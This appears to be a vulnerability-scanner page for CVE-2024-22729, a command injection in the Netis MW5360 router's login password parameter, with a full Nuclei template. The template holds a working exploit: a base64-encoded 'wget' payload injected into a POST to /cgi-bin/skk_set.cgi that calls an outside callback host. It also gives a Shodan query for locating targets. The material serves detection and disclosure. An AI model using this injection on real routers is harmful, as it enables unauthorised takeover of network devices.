Netis MW5360 V1.0.1.3031 - Command Injection

criticalseverity

9.8CVSS score

70.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

NETIS SYSTEMS MW5360 V1.0.1.3031 was discovered to contain a command injection vulnerability via the password parameter on the login page.

Impact

Unauthenticated attackers can execute arbitrary OS commands via the password parameter, potentially compromising the entire Netis router.

Fix

Update Netis MW5360 firmware to a version newer than V1.0.1.3031.

How to confirm it

Send: GET /
Positive when: contains(body,"netis router") and status_code == 200
Send: POST /cgi-bin/skk_set.cgi
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2024-22729 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-22729

info:
  name: Netis MW5360 V1.0.1.3031 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    NETIS SYSTEMS MW5360 V1.0.1.3031 was discovered to contain a command injection vulnerability via the password parameter on the login page.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands via the password parameter, potentially compromising the entire Netis router.
  remediation: |
    Update Netis MW5360 firmware to a version newer than V1.0.1.3031.
  reference:
    - https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-22729
    cwe-id: CWE-77
    epss-score: 0.70779
    epss-percentile: 0.99402
    cpe: cpe:2.3:o:netis-systems:mw5360_firmware:1.0.1.3031:*:*:*:*:*:*:*
  metadata:
    vendor: netis-systems
    product: mw5360_firmware
    shodan-query: title:"netis router"
  tags: cve,cve2024,rce,netis,unauth,vkev,vuln

variables:
  payload: "wget http://{{interactsh-url}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"netis router")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /cgi-bin/skk_set.cgi HTTP/1.1
        Host: {{Hostname}}
        Connection: close

        password={{base64("{{payload}}")}}&quick_set=ap&app=wan_set_shortcutz

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md

Use this check only on systems you are authorised to test. Where the data comes from